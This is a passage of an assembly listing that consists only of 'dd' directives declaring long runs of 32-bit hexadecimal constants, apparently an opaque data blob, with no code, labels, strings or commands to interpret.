dd 304764D7h, 1F678003h, 0C5B62F4h, 5498D3C6h, 7BF9707h
dd 51CE1A15h, 3BEBBE47h, 5553C223h, 0F24209C7h, 0FA8BCE7Dh
dd 6D02B7ABh, 1A416FB8h, 0A6A16E63h, 6BA4273Bh, 0E7A2A47Fh
dd 84CFFE07h, 0C050C0F9h, 801204E1h, 20CCDAE9h, 17CE7288h
dd 0F0595AF3h, 285E2F3Ch, 0ACD264EBh, 464D1072h, 10775C2Dh
dd 9130D48Fh, 241A6BEh, 2C377AB1h, 530C7950h, 258119E9h
dd 0B00B95FBh, 30A707F1h, 9F443789h, 0CDB53566h, 9CE9854Ch
dd 0D7C0AC13h, 15B2E4F8h, 0E89130F8h, 5A805544h, 5A0A6F89h
dd 120EC61Eh, 8303B774h, 0E781473Eh, 3FA5D1D3h, 0FDE9F141h
dd 0C0BA007Fh, 0B15106E0h, 0ECE8725Fh, 1FB96809h, 0A899DD9h
dd 970E4486h, 834A041Ah, 2A696161h, 17429A47h, 1B31117h
dd 0C16448E6h, 0BBF74112h, 12B9B631h, 0B889AF14h, 5980A060h
dd 0E9895B2Eh, 99103D8Bh, 1E7C2CB3h, 83CF74BDh, 23FE1187h
dd 66F60C09h, 0BCBD02E1h, 0D2535FEEh, 0C3ECFC27h, 572D8469h
dd 0D9AEEBEBh, 0DF28E745h, 0F78FBB93h, 19DA4C74h, 0C404038Fh
dd 0E92BDCFh, 0BEA104BAh, 9C6198CAh, 187EF598h, 0FA787338h
dd 5D8A400Fh, 4E2EEEBDh, 0C49CA258h, 50088BDh, 29912E4h
dd 1A0B58EAh, 105F03B3h, 0F7C30195h, 0F7055B4Eh, 0FA6D68F9h
dd 0E2A9B45h, 4C9569EEh, 712D6854h, 101275h, 821A7EF2h
dd 86BE015Dh, 1A27DE5h, 0BFB33AFEh, 0BFA5E938h, 91019875h
dd 1C82B309h, 14A4949h, 10D6B381h, 57AB20CFh, 7A765C95h
dd 0D83209A2h, 618D92FDh, 8B7C1EFFh, 0C2465EC9h, 2525FAB7h
dd 6998D3EEh, 0EA95C5A6h, 59EBFDACh, 6E44A2D9h, 7F021249h
dd 7122EA96h, 45FA9E47h, 0A2B4EA45h, 29B209BBh, 0E4555F05h
dd 3F060330h, 0D8E960A5h, 212F28E6h, 287BF8h, 0B08A22Dh
dd 0C64E89F1h, 0F702D48Bh, 1CBF68DEh, 9F20F5ECh, 0E3E91323h
dd 594CF302h, 12C84866h, 4CF6EBDh, 96FB4C78h, 3B85E977h
dd 0F854575Ah, 7E3A06E9h, 33A7445h, 682F6C82h, 2D6D5F7h
dd 1FABC148h, 92AF46E9h, 9B7AD74Ch, 7D83C425h, 7AB46910h
dd 12E00B48h, 82537C29h, 0EC7201FBh, 2E53B021h, 1162C1F2h
dd 53CA26E9h, 0A4C4477Fh, 0D1C5968Fh, 6A87F5D8h, 0D1FB7385h
dd 8255A9B3h, 463AC61Dh, 0D480FF03h, 3CC81FF5h, 0DEA0C0B8h
dd 0B2D3F4Bh, 2E0FE44h, 34D46698h, 6029E080h, 500B4817h
dd 0F21D28E9h, 0FEDFD351h, 0C44B4688h, 83CB0115h, 0E28927Ah
dd 7827C35Ah, 0CA1A48B7h, 46F51D7Eh, 0C2287C29h, 0CD429508h
dd 0E06CEBF7h, 2629274Eh, 10DB4273h, 21EF5A85h, 24597BFEh
dd 5C4BB6D4h, 0F6928AF3h, 6B2956E6h, 0EE36DD12h, 1808F827h
dd 0BE671368h, 3CCD60D5h, 0F29D49A1h, 726DE67Bh, 0FC5C9044h
dd 3D691497h, 10279B53h, 57F638E8h, 280A4906h, 0E6E6EEC1h
dd 80722616h, 40B413DEh, 138CBE4Ch, 0F2F67DD1h, 2E0C2B5h
dd 0BAFAC82h, 0C4100057h, 5365F1Bh, 377E75BEh, 0BAA5BA1Ah
dd 2E94C1D3h, 1F2CE6D8h, 702336Fh, 5906C3CEh, 0A148DC8Bh
dd 87B8D301h, 4E703FFBh, 2D685358h, 0FCE634B5h, 5F257F7Ch
dd 0F5FD07Eh, 8F8CEC3Dh, 1457EEF2h, 0E9573CEAh, 7DDC2225h
dd 434B1810h, 5B1D8F24h, 0AF117B03h, 40C0527h, 0A8E4D657h
dd 406A3F51h, 5058BD31h, 978D804Bh, 56254D2h, 0B331CE68h
dd 0D0965068h, 7F8A557Dh, 0D80E4284h, 0D96003A7h, 380CEEF7h
dd 18B88Ch, 0AA41B3C6h, 0E9F3896Fh, 7D5F220h, 0BA55862Dh
dd 2F45344h, 0EE055EE8h, 0EB41DEE7h, 512C7463h, 88A5B501h
dd 665059ECh, 76D41090h, 0CBF880F2h, 0E9CF14C1h, 92BE9005h
dd 3C07BF8Eh, 74FE0987h, 6A31AA5Fh, 0BD34F0E9h, 59982E04h
dd 34230E6h, 5805B050h, 0C8FE1524h, 5A8E385h, 52575B0Dh
dd 0F27824A3h, 290D6E4h, 1024D80Ch, 26F5EA43h, 80437F25h
dd 704D52FFh, 504AF329h, 21A3D0BEh, 0E6985AD3h, 6C02C37Ah
dd 0E9517254h, 4D47E2Dh, 0FB06E3C0h, 73CB8EE0h, 0ACC33860h
dd 66E9DE04h, 8EFCAC48h, 2DD08058h, 0D21B7D9h, 0A5DCE96Eh
dd 7F7820B3h, 0BA4415FBh, 8337067Dh, 72AA0104h, 8CB3EB61h
dd 9055E62Bh, 12E4649Eh, 621C366h, 6A88B7C9h, 0FF059C49h
dd 0FEB3672Eh, 8BBC7152h, 0F3CBE05h, 0C1C9FB5Ch, 279D1DCCh
dd 0E850F66Eh, 225E40CEh, 0D7238CE9h, 6810779Ch, 0E90B01B3h
dd 0B8737EBDh, 0A87DAABDh, 0DC776825h, 0C0B2CF56h, 0D7EA80A6h
dd 55D1302Fh, 3028AB07h, 39E9362Ch, 811A9658h, 0CD87D1F7h
dd 3575ABEDh, 0E365FA2Bh, 9CEE3D13h, 55701ECCh, 7B435C9Fh
dd 6BE920B4h, 3016C578h, 8F10BCBh, 77EC61D5h, 3028D8C1h
dd 88A141D3h, 4859C1E9h, 0E6B4866Dh, 4A569536h, 239741BDh
dd 3A027C15h, 2F2E7500h, 0A1FB2972h, 940BECCh, 0BF5EF589h
dd 5FC7C651h, 81C4C3C6h, 0B82B5826h, 0F168E15Eh, 0F87FA9FEh
dd 413B097Bh, 61541412h, 166E4259h, 970501E0h, 2E779110h
dd 135094BCh, 324C09F5h, 678F2C0Ch, 0E46BE6A2h, 0F52529F4h
dd 618E6F16h, 9652E917h, 6FD11360h, 7D2B0C8h, 6E2935CFh
dd 2AF76001h, 4250B808h, 0ECE8318Eh, 0F42E709Dh, 0FF9AB762h
dd 0B3AEB660h, 0AFA147B7h, 7F744810h, 344948B7h, 450291BFh
dd 0FE76D75Ch, 0FC90578Bh, 0BD3D36DEh, 4AB1A63Bh, 0C0024B9Ah
dd 4C69BE15h, 4A1086F9h, 46B902E0h, 0DA9E44B5h, 93E52457h
dd 6CD95359h, 2CD73938h, 25899B03h, 6ED7B076h, 0B0F58295h
dd 0BDDF6863h, 2309FE4Ch, 0F5032256h, 0E66C08AEh, 0E902960h
dd 570C780Dh, 45600C3Ch, 50EC0218h, 7B67E7B8h, 8BF004D7h
dd 8E5947BEh, 0B46F7707h, 4C82FD75h, 5DD8104Bh, 5D02900h
dd 10CF7C30h, 0BC915A5Ah, 5006C216h, 0A0B7D17Ah, 0B81E9685h
dd 0F0E2F43Ch, 24470BCAh, 98F85DE5h, 0BD6E9B0Bh, 79AD000Ah
dd 0B91BE88h, 215AD631h, 0AC240493h, 2D005C66h, 6305E8D1h
dd 39A22536h, 140BD056h, 0C30BD6D7h, 8100AE9Ah, 4B7A9EF6h
dd 0CDF18905h, 54DAD150h, 3A2DFA41h, 0F0A4913Eh, 0BD6B096Eh
dd 12E9836Ah, 0B5430BA7h, 888EC07Fh, 0BD82F6CBh, 465F5901h
dd 8B41E57h, 0D0CC39C0h, 76A09820h, 80320D09h, 7CB05039h
dd 0FDEE8113h, 8327D077h, 2A4499BEh, 7A0C0419h, 87B2AFC0h
dd 0B0651E24h, 80D0BA5Fh, 271D16E6h, 0E2DC79A4h, 0BBFDA502h
dd 0DEE46AADh, 9D770CCFh, 0A39843C0h, 0C194B35Eh, 9540B213h
dd 0DF1086F6h, 0AE52C156h, 0BA313F44h, 0E8478F70h, 0C7F18720h
dd 5122E5B3h, 38621A7Dh, 0C87F2925h, 4FA1E97Fh, 0C47BE3CCh
dd 680392DBh, 1512126Bh, 2BC84415h, 86044401h, 0A0119D2h
dd 541B0FF4h, 0B5437BECh, 29F0FDE4h, 7F8B099Dh, 8201A687h
dd 0BDE20603h, 6F18488Fh, 5FBC66D7h, 0E153046Bh, 0BF9349E8h
dd 0EC4B5A9Eh, 8300F484h, 12F27214h, 0CEDA58F7h, 7053982Fh
dd 4FCB4F3Ah, 3479BF01h, 304F2BB5h, 0C0DD0206h, 0B6112D4Eh
dd 412BEh, 0CD53D743h, 0EF13315Bh, 50E0895Dh, 0BFD24AA9h
dd 0E912E2DFh, 0E1ABCDEDh, 0EBC7C665h, 0DD2418A5h, 0EE59975Bh
dd 98002DA4h, 2913DF7Ah, 17B9B8C3h, 0EC58A568h, 555C39Bh
dd 5F539AA4h, 3282B4E5h, 0F5309C7Ah, 45C2E3E8h, 0A704F04h
dd 90BA60E9h, 0BF47F5C9h, 61F64225h, 93A27B5h, 0A7FD2D43h
dd 0CEB35B5Dh, 0D50987A8h, 0D695781Eh, 9456502Ah, 0BD5D5C80h
dd 7569AA56h, 0E956AC10h, 52864825h, 0EE313926h, 0C609F533h
dd 0D9E9F0C0h, 35CA815Bh
dd 7E80EE02h, 0A406DCDh, 0BE75455Dh, 3FFC7CB5h, 280B22E8h
dd 0D11783D5h, 72B55E9h, 6020BA51h, 0EA814CC9h, 2236F709h
dd 0E913C06Ah, 807DEF7Eh, 38543709h, 0E2C51687h, 5AC89B1Ch
dd 6E2652DFh, 0B309C734h, 8354D6FCh, 63B26194h, 3F8DF4D9h
dd 0F39E8FACh, 3E045A0Eh, 3A701EB0h, 85150BAh, 37E95E05h
dd 15B3FBCBh, 0C1EFB293h, 503736E9h, 5C86EA40h, 68021F32h
dd 0BCBABD0h, 0EB7237FCh, 772F430Ch, 0C9FB3260h, 65D4F96Ch
dd 0AF9AE72Fh, 0DD25F674h, 0E6E1CABBh, 0C7306899h, 27BF7CC5h
dd 0BAFA89EEh, 0F78B541Bh, 6B5A0BC0h, 0CB44B562h, 14988E81h
dd 0FB19EBA9h, 30E56DC2h, 275BEADEh, 40F0C5CCh, 0F17F3139h
dd 0FD7E0625h, 27C9D710h, 0DE754D24h, 4B4F9A13h, 0C1603221h
dd 92D776Fh, 95E95358h, 0F87ED5A9h, 2DC0F02Ch, 486F76DCh
dd 26750B17h, 3EF57BEFh, 2B680750h, 2C7559Ch, 6F9313F4h
dd 0F39E8580h, 570307FCh, 0D83DCDBFh, 96C7E075h, 0B023F673h
dd 303FFE52h, 790C4732h, 4E0CDD6Ch, 56975FE9h, 0BA0D0048h
dd 5469927h, 0AC017D12h, 1EF03547h, 726C61FAh, 0F14FE909h
dd 98AFE455h, 16EF0529h, 80490A05h, 0D40A22Ah, 0C9015EB8h
dd 2C373277h, 0DA89E9C1h, 0F6F6067Ah, 0E5F277D2h, 0B3814EBDh
dd 2A428B8h, 3952EA1h, 0C4F7CA29h, 0F75B17C8h, 1C72E0D9h
dd 0DF0AB02Dh, 0E0F59912h, 0C064E171h, 0C005D859h, 275CD46h
dd 16616700h, 0BE565345h, 0F47004A0h, 0AAEED13Eh, 0AB3F6904h
dd 8E864B8Dh, 7210DC78h, 0F0B038A1h, 41766940h, 65562A35h
dd 0F4C704AFh, 10BA142Ch, 6809F0FCh, 0B6B25A4Fh, 6A74CA5Dh
dd 0B98202F4h, 0AC998C12h, 5B6F34E9h, 15D8AF57h, 8FF74829h
dd 38578127h, 94353B34h, 7C3A827Eh, 65FD3FC9h, 97142D31h
dd 9E919C4h, 0BD02A6F8h, 5A185B54h, 20B4585Fh, 59588C51h
dd 89B74A4Dh, 2BF5708h, 7A46E985h, 2FF4D052h, 0E29C5B7Eh
dd 0C92B8B52h, 0DADCCD10h, 0D190A8C5h, 0F4094E5Ah, 0F248817Eh
dd 0DEC71229h, 4C48D9FCh, 0C5DC4627h, 5ACE50E9h, 0E030F889h
dd 0B309A968h, 40540267h, 18E07217h, 493320D2h, 0E0030C26h
dd 5101107Ah, 806F5D1h, 214820Ch, 4802E18Ch, 3B5F107h
dd 0E9684F42h, 0AF858596h, 5C8BF8F7h, 0EE00C6DEh, 7DC13A88h
dd 355A9DE9h, 0E0BE4E58h, 4BD75BE9h, 134CE016h, 0CAECCB7Ch
dd 911F857Fh, 0B924C117h, 46B4303Ch, 0F780D6B1h, 0A06F30FDh
dd 0B5C7D89h, 85ADD2A0h, 309ECC13h, 4A65BE72h, 763C795Ch
dd 509D2E54h, 5417D13h, 383A01ABh, 60C286B7h, 538133E2h
dd 0EEE029E5h, 4B259E3Bh, 0AAFDE868h, 9CDD91B5h, 0D4788EE4h
dd 0A84F4D75h, 843E51D4h, 666E0429h, 3DC6A484h, 4EECBF50h
dd 0CC4F75F8h, 0F87E2DBFh, 56BD9272h, 2CF6E0F0h, 3E5CBB61h
dd 0B1221810h, 98F9F319h, 890D2D1Ah, 5189B4E5h, 9639D15Bh
dd 13F7E331h, 0FDB95FD2h, 0A5EFA897h, 2EE0EC00h, 381033Eh
dd 3F09B1E3h, 10B6D123h, 47383309h, 0F8A4DF73h, 9441487h
dd 0EA108209h, 8D405491h, 455FB8C5h, 0B27A9577h, 30E893B3h
dd 72826FA1h, 26EDC079h, 4B48971Fh, 4014A801h, 0F325E908h
dd 40C479A6h, 0EA1CB4E3h, 30FF464Bh, 0AA342F1Eh, 1E20E9F6h
dd 0A0875A9Dh, 205BC178h, 0EED629A9h, 0C6946091h, 92EE8B7Ah
dd 0E6B1230Bh, 49FEB4A8h, 35DB7E80h, 56606B25h, 0E9602A3Ch
dd 0B25F9753h, 129F43B5h, 0AAB06E96h, 2F51F828h, 0D5F8C189h
dd 7772586Bh, 4D27ECC6h, 92DB5971h, 0EFC68546h, 8CC494A2h
dd 747BD615h, 2D1F70B7h, 0CE6040Ah, 0C7F8565Fh, 0FABA12B4h
dd 79884D39h, 0BB02AC1Bh, 61D9011Eh, 39CFA58Ah, 0C337D86Fh
dd 0F9B5B708h, 7651E45Ch, 4B542848h, 0FE28BA5Fh, 6FBD413Ah
dd 136690E0h, 0BD20EA68h, 0B6520A5Ah, 0A114A5ECh, 6168C492h
dd 0CF165DADh, 10D2F35Ch, 0C04ABB4Bh, 142EE184h, 954F312Eh
dd 80018410h, 0CBFE9CF3h, 0EB8820F6h, 0FEB768B2h, 700159A9h
dd 194B75D3h, 0CD5F33B3h, 27C36008h, 0E0C7EA62h, 0C19F0C03h
dd 28EFB75Ah, 1D9A4143h, 0F9255776h, 3B16DDC2h, 8297BDFCh
dd 62CE01FCh, 0A42357E5h, 0BFBC8359h, 5C2FF1CBh, 10E0C6C4h
dd 0EE7886AAh, 0FB54710Dh, 0B87FE650h, 93A3B18Bh, 0E404EC3Fh
dd 0BE5A19CBh, 0B57E42Bh, 8C99D113h, 5531687Ch, 0B8641D21h
dd 1E7B9739h, 0D6726EF9h, 3B11ADC0h, 0A8B198D2h, 1F81B8A2h
dd 1198254h, 1A770DD8h, 0CBF4CAA0h, 0B6363501h, 268F850h
dd 48BB0D10h, 72FB077Ah, 7BB3AC33h, 0D0BD0F52h, 5D25505Ah
dd 0AE141388h, 8DD2665Eh, 794133A1h, 0F66D2158h, 1EDE522Fh
dd 73C7DE27h, 11022EF3h, 31537BBBh, 6FE05F27h, 55BE8C1h
dd 33154EFh, 25893910h, 1CF7D666h, 7AEBC343h, 0C080B551h
dd 0DDF606EDh, 79B0F5FCh, 0F30BD24Bh, 7C13A95Ch, 2142CCFh
dd 77D48533h, 0A89C8AF7h, 5F615316h, 402FBC66h, 4B735150h
dd 5501520Ch, 0FC5F5C68h, 0C9705D49h, 0D8F9E03h, 64E37F17h
dd 371A02E9h, 0BF25B71h, 20C4FA07h, 42CB582h, 0C60CAF60h
dd 9BD3CA3h, 37E7D4Ah, 0F81600FFh, 0BC729B45h, 2ED101Fh
dd 1979D9E5h, 0FA12C059h, 1A4E58FBh, 92E9EB0Bh, 0EA2D39A0h
dd 4A5F674Dh, 58076110h, 9BE982C7h, 0D5A975C3h, 2F2A9E09h
dd 951A00D8h, 0F931086Ah, 0C2D958A1h, 9A40DF09h, 0E2602043h
dd 524BCE82h, 0E90F0BF4h, 2A5A303Ch, 5BBEF15Dh, 680964CAh
dd 799A4026h, 29B398F5h, 0CDE913FEh, 4E2DAAA0h, 4BA71860h
dd 0E361BE80h, 0FA4174B5h, 312B3468h, 7EE2E93Ah, 3F16EF4h
dd 2D679E60h, 0AFE9C831h, 92176646h, 0E9BDC8FFh, 2321F627h
dd 74BEC362h, 46EE048Bh, 0C2C1147Ah, 3C604EC9h, 0A22D42BAh
dd 587E70EDh, 0AD027F50h, 8162B761h, 0E4F316C0h, 6BBE89E4h
dd 0CEA2FF0Dh, 0BAFB24h, 209F53D9h, 7F62B850h, 2913AB0Bh
dd 8833E5C2h, 2D13E4E1h, 52743F9h, 5FB04DF2h, 0DBD8305Ch
dd 76EED170h, 0ED8416Bh, 31F3D2Ah, 0AD6B002h, 0BA352AE9h
dd 522731D2h, 775A369h, 753459A2h, 78FECA4Ch, 9BABD40h
dd 39700B4Bh, 412513A0h, 0C01BE35h, 0BB26C30Dh, 0DAD84842h
dd 1FF3097Dh, 3D4136E9h, 0CEA22A66h, 6D62BF58h, 0BB1808E5h
dd 0DE1217E3h, 5C70F033h, 31F9B802h, 442065E9h, 21E509D3h
dd 0ECF6448Eh, 3B0D688h, 0EA497DBFh, 5B62FC85h, 5F7C79B0h
dd 10E28A95h, 5F256769h, 5A9FB155h, 0D678BD3Ah, 0EA84EBB8h
dd 0F5121E72h, 0DC23B331h, 30825802h, 58802805h, 16856313h
dd 0A4021198h, 895838D5h, 0F11A60D9h, 0A082B840h, 0FA0E9B2h
dd 87617E62h, 8DEF786h, 0DD3F683Ch, 0B6909C45h, 0BFE68101h
dd 3868977Ah, 0F99810A1h, 6267094Bh, 40BD7E70h, 24562D0Dh
dd 3561857h, 0FF10393h, 0C25E1E0h, 0D55DE828h, 75B7AC4Ah
dd 0AD24EA48h, 6B95AC08h, 0C0FA65DDh, 0BE3BE95Ch, 75522FB6h
dd 0C525EDEEh, 8B9A6558h, 0C3B9579Fh, 0D993A4Dh, 11714831h
dd 8571EA2Eh, 7D8168BBh, 824D91EDh, 77353076h, 0AADBAF13h
dd 0F15382A4h, 9742312Eh, 5921D881h, 0DEECFC27h, 1A026939h
dd 34223302h, 7B98FD32h, 0F2BB030Bh, 0D6DDE989h, 0D1B90125h
dd 707ABA04h, 0F91B1E0h, 743D2101h, 853B093Fh, 6042CEA4h
dd 2ECFBEDAh, 0B8584B5Dh, 68004B7Eh, 8440A3E6h, 86D29744h
dd 8007C604h, 50D4780Bh, 6E55F780h, 12234821h, 99F9B925h
dd 449C7BA5h, 0A5A6A1FAh
dd 21CFD596h, 0E143B24h, 7B4A7C3h, 2B0DBF90h, 70253D2Eh
dd 57727D16h, 0C300AAD6h, 3CCC853Dh, 4FDBB031h, 66ED0B8Ah
dd 8CDF6755h, 0E51144CCh, 655D17B0h, 0DBEF4A95h, 0AEE9097Ch
dd 502F1877h, 0B8DC5FB4h, 0EC057342h, 0FBB75303h, 0B20BEDCBh
dd 99DF66C8h, 3F4932h, 55B50553h, 0F2F43809h, 0C12A404Ch
dd 7E6C4C0Fh, 498242h, 4453972Dh, 0BC46F4Ah, 33010713h
dd 18D408A3h, 0BF147D60h, 0C1074325h, 0ED51E80Fh, 0B0B2FB2Fh
dd 2741655Dh, 830B1FDEh, 85C5F5B8h, 89AC5208h, 66FD5DEEh
dd 0A9C61CF2h, 84CCD7DEh, 0B3B0AE83h, 0EE784A40h, 9EC5DD9h
dd 0B7A3B703h, 0F493FE88h, 0FCA5CBDAh, 0C1BF675Ch, 0C6FF7BC1h
dd 941345FDh, 722A97FDh, 4E998010h, 143A0115h, 0C5EAB4BFh
dd 4BE2BEBh, 0D8B9937Ch, 0D17B882Bh, 242EF949h, 9370965Ah
dd 382D481Ah, 1D694F3Bh, 0D98980DFh, 0FA71B050h, 0AF9E5F5Bh
dd 97098D5Eh, 845DDC8Dh, 0F2DA2051h, 52508C50h, 0EF6A99B5h
dd 40976ECDh, 9F38E48Fh, 2B0C1960h, 13D9357Ah, 0DDC14CE9h
dd 0B8C96B0Ch, 5E21822Eh, 58C0D657h, 6F5438E9h, 4EBA4B1h
dd 3483ECABh, 0C417119Ch, 98D56EEh, 9BD779D1h, 7EBC9FEh
dd 680B1A73h, 0A75E34AFh, 53FB75DAh, 5096E068h, 7FB0CDEAh
dd 9ACB24B9h, 0D9B155A0h, 1262EB80h, 77281906h, 6BB108Eh
dd 1E7966DAh, 21E90206h, 5E5F16E5h, 0C19B4001h, 47F52263h
dd 0C774ABDh, 1EFA0C08h, 0C9695914h, 9CFFABDAh, 9FF4326Eh
dd 0E67D4356h, 5D64F837h, 9307B783h, 358D1F01h, 18CCCEC7h
dd 6899B33Dh, 0FC534C0Ah, 122156CFh, 2E5CB131h, 88192BDh
dd 6B3FFCE9h, 557A4FB6h, 192C8F66h, 40B5F5B7h, 277235EDh
dd 82F429D8h, 0DFC7E295h, 5569DFFBh, 8B672859h, 30345D79h
dd 0C9216825h, 0C27EA833h, 0B27566B3h, 8224F193h, 677A5105h
dd 0AFB20F5h, 0EC37255Fh, 6B930CF3h, 670C1673h, 77132417h
dd 0D7E938C0h, 0FE71C584h, 3AFB9957h, 0BF4BB58Fh, 0A099F29h
dd 0E3667820h, 0B5AAD22Fh, 81CAF3FDh, 83CB5DBEh, 33072BF0h
dd 7D6E8950h, 26A2F36Ah, 534EA6D8h, 190064ECh, 0E581149Fh
dd 0D2C36440h, 0CF01ED83h, 0DAB28A37h, 0A92EC1A1h, 89B24E03h
dd 0E8010E48h, 5D5644C1h, 0AC2011D3h, 0DE4717E1h, 1141AF7Fh
dd 5B2603EDh, 1065C1FEh, 0CB8BA67Fh, 58C14650h, 53109801h
dd 478F0FAAh, 6D990640h, 0FBBD047Ch, 0BA341408h, 3E8604E2h
dd 0BF051041h, 44E72EA4h, 42871DFBh, 0FA0102E3h, 77492554h
dd 5D0A2282h, 107B8807h, 0B6332AEFh, 0D0B1819Eh, 3F891141h
dd 42805C12h, 0E6B5C780h, 28102DF7h, 33B78B77h, 0F7075A74h
dd 5C64BD1h, 0A5422086h, 1A98D6BFh, 0AFDDE129h, 399F2C25h
dd 0F281024Ah, 464E2CEBh, 61319078h, 805A55B2h, 0F6C04BE0h
dd 0F7F69D06h, 529FEFACh, 71F3AB96h, 0C4E4F25Eh, 0CBC6CEBh
dd 476FEC4h, 38BB505Bh, 7DE619D6h, 0B55B831h, 26BB0E9h
dd 28BFB354h, 0E21A01F5h, 10CFC066h, 7C748F98h, 67646813h
dd 651756CCh, 84F71169h, 40F3F4A3h, 742F739Ch, 5636514Bh
dd 0C25066ABh, 8E413BA8h, 0C901C6E0h, 0C4DDD7D4h, 0A59B2026h
dd 58C20914h, 12C500A9h, 43681FE8h, 1C59C948h, 0F1F520F7h
dd 713C2E20h, 59580151h, 6D255A35h, 2E12E1Bh, 59F403E0h
dd 520F256Bh, 0EE36C546h, 2D08BE50h, 9228E558h, 0AA23576Ah
dd 5325949Bh, 0C8E8F6F4h, 6058A53Dh, 2F70C76Bh, 0EB030BB1h
dd 0A4FC4840h, 0FE992DF5h, 516D0500h, 2AE9A5D4h, 0A09B4225h
dd 5F3509DFh, 6A18B5B6h, 844DE709h, 0C316A62Fh, 5DCA55ACh
dd 6F19C6Ah, 5C0542h, 0FE5433BAh, 4F502EC4h, 116D680Bh
dd 0F112CB28h, 31002B41h, 0DC3A4AC7h, 7F2BD4Bh, 0A8050883h
dd 165F7E6Eh, 0D44C90AEh, 3F76BF3Eh, 8094F53Ch, 0EF017974h
dd 978F70E9h, 0CD9246FEh, 0F3AA7FC4h, 4A14C9F7h, 219485E9h
dd 97E8C7D5h, 0BBBE610h, 0E1D15Ah, 546E94A7h, 0B1315A4Ah
dd 5D97D9Bh, 0BB2A6496h, 8948C44Fh, 1375CD0h, 0D12D1135h
dd 0CDF9CC47h, 0BBDECF8h, 0B28B7DD9h, 776AAB5Eh, 654AE225h
dd 2D15BF75h, 0B5076057h, 2E525181h, 7877DEA9h, 3FFA5872h
dd 8F052827h, 4C1B8143h, 0C8680041h, 3CE29321h, 6EA43202h
dd 0FA63C583h, 0C1AB7E98h, 0C27C35B8h, 59F8769Dh, 66F7DE68h
dd 0B850075Ah, 7B7B74D4h, 803AC8DCh, 9DBA6073h, 9D4BF806h
dd 1C208D4h, 10F657C2h, 0BE00F6C4h, 21F05FCh, 0EDAD315Eh
dd 722818Ch, 0EE0C3265h, 0DFF89A25h, 14561E60h, 0E914167Ch
dd 85E320A0h, 0A109FA87h, 0DB9BA2FFh, 9EB3006Ch, 302798B2h
dd 1295FDAh, 1D28FA80h, 4820449h, 248205D2h, 0D05605B6h
dd 0BC790A63h, 36EC635Ah, 9B380741h, 370F78Fh, 0EB0EE405h
dd 7592D250h, 0AE5D0A04h, 1E5FD17Ch, 1302EE83h, 0E030BA34h
dd 956A18E9h, 82242A59h, 35C9B412h, 65229540h, 0F86F5E16h
dd 6282505Ch, 0BDEE6A44h, 7F4108CAh, 5459F4CEh, 0F5F8685Fh
dd 0D3BFB95Eh, 9933500Ch, 96BEEED6h, 0BFF42D9Dh, 88BF57C3h
dd 162CDA4Bh, 0FF5FF921h, 2264A301h, 892419EAh, 1023022Dh
dd 0D8295675h, 0ABC2335Eh, 0C47F0B9Ch, 2A29C17h, 50093880h
dd 550B8955h, 0F1213981h, 70F705Eh, 121C5EBFh, 0B9FB8056h
dd 8E2F36EDh, 80A2D46Ah, 0FBCC75C2h, 0DC0B0532h, 66CCE67h
dd 97C87D90h, 560024BEh, 7962CDBEh, 0B874E38h, 0D76BE9FEh
dd 5B1C9152h, 0FAED724Bh, 0ED037B45h, 6A7BCD52h, 8218798h
dd 0FEBFEF82h, 0D15F6932h, 10D7CBD1h, 8369225Ah, 1EB5C65Bh
dd 0B1B144ECh, 0EB813EEEh, 15EA4E27h, 0F9CDA05Fh, 24AE6933h
dd 0E684B429h, 84BBD4EBh, 0C26FF7E7h, 75ADF6E9h, 0AE0BA5D9h
dd 6F39D620h, 4BB3E324h, 6245F5EBh, 0C300C79Ch, 0F67EB450h
dd 940995D4h, 0BDA266DFh, 0B519508Ch, 0C5FE7E17h, 7910EEB8h
dd 7B5F2517h, 52EA17D0h, 572F079h, 0E07411EEh, 1F5C2BFh
dd 4260E907h, 238C473Eh, 0EA663458h, 0BBFBF88h, 74332BA5h
dd 98270AF4h, 0A9F499C2h, 0EC3BEB9Dh, 70C0B768h, 0A91AEF0Eh
dd 844C3C1h, 3AE7E80h, 20A1B05Dh, 8102E4F8h, 4F3FDFE2h
dd 0A0E58376h, 19DF0C8h, 65ECC5FAh, 9DA7BEABh, 4706CF4Dh
dd 0FA196312h, 1D90925Bh, 7BD472D8h, 0BFF96B6Ah, 0B12018FAh
dd 0FA525F3Ah, 4280B83Dh, 72941460h, 1309C981h, 799527h
dd 4365EFFDh, 0E49630Bh, 0D5F762A3h, 14F5E029h, 0E1D38A67h
dd 369A044Eh, 201AF580h, 0FC784902h, 0D243BE00h, 0E9CB312Fh
dd 51E0F027h, 54520B63h, 1EA492D9h, 0D909F41Ch, 80A8002Ch
dd 244F037Dh, 89E976E9h, 7B89D830h, 897D1D42h, 6DEA59D5h
dd 3EF62EA5h, 62BE414Eh, 3E72A971h, 9EB91380h, 8D56248Eh
dd 0F152278Dh, 0A5F9013Bh, 0FF6FC202h, 5A210873h, 6FFB6804h
dd 0BB7ACCFEh, 25B310Bh, 147F213Fh, 9340621Eh, 50AD384Fh
dd 0A8F2CD43h, 0B99EB9Eh, 5F4CAB18h, 4E093550h, 55A0ADE9h
dd 0E4F253C4h, 0BE321F4Fh, 155DC41h, 4B0B29BAh, 319F4750h
dd 2C283D44h, 0A719106Bh, 0D3E4835Ah, 7D507CC9h, 65723EFDh
dd 0B9B85F42h, 12AD5912h, 0C714BA77h, 38784867h, 1E3F1E79h
dd 1CF6F312h, 70E8EB00h, 89E93686h, 0CDD1B860h, 58D60F2Ah
dd 0AC0F8544h, 18383970h, 482F1A28h, 1074D854h, 67D8331h
dd 2E9B79C7h, 2D22090Ch, 1CD5638Fh, 6160951Bh, 993E2077h
dd 90EF9D75h, 80576709h
dd 0BD5F1159h, 0CA0CC756h, 0E9E65261h, 2543F8F5h, 0AC145954h
dd 1FE95109h, 886D6873h, 4A03E4F0h, 93AFA858h, 94689C02h
dd 9C3C5933h, 0A014562Dh, 0F52F1FD5h, 0D17E4337h, 8B309D61h
dd 3F8E41D1h, 0EE0643FCh, 8305859h, 0DB4B08FEh, 0AA84D8ADh
dd 7FB80145h, 6560E501h, 41A55AC8h, 16F18274h, 79006A68h
dd 0ED59A12Dh, 5342B744h, 95E0700h, 0FE49E9C2h, 4F354F4Bh
dd 59FDC8FAh, 1E81FC9Dh, 0B375EF9Ch, 835AD99Eh, 0F529FD8Bh
dd 5478E980h, 60BE4BD1h, 0B5AB5E12h, 7CFA2AD3h, 464DE9E9h
dd 305A0B4Dh, 0B51B22FEh, 692578Eh, 0F22C5F84h, 8154776Eh
dd 470FBA0Fh, 60454026h, 0ABDD16EAh, 0D00906DAh, 36A4E5E9h
dd 39AE6818h, 956CFB71h, 0B20854DBh, 0BB546461h, 188E5580h
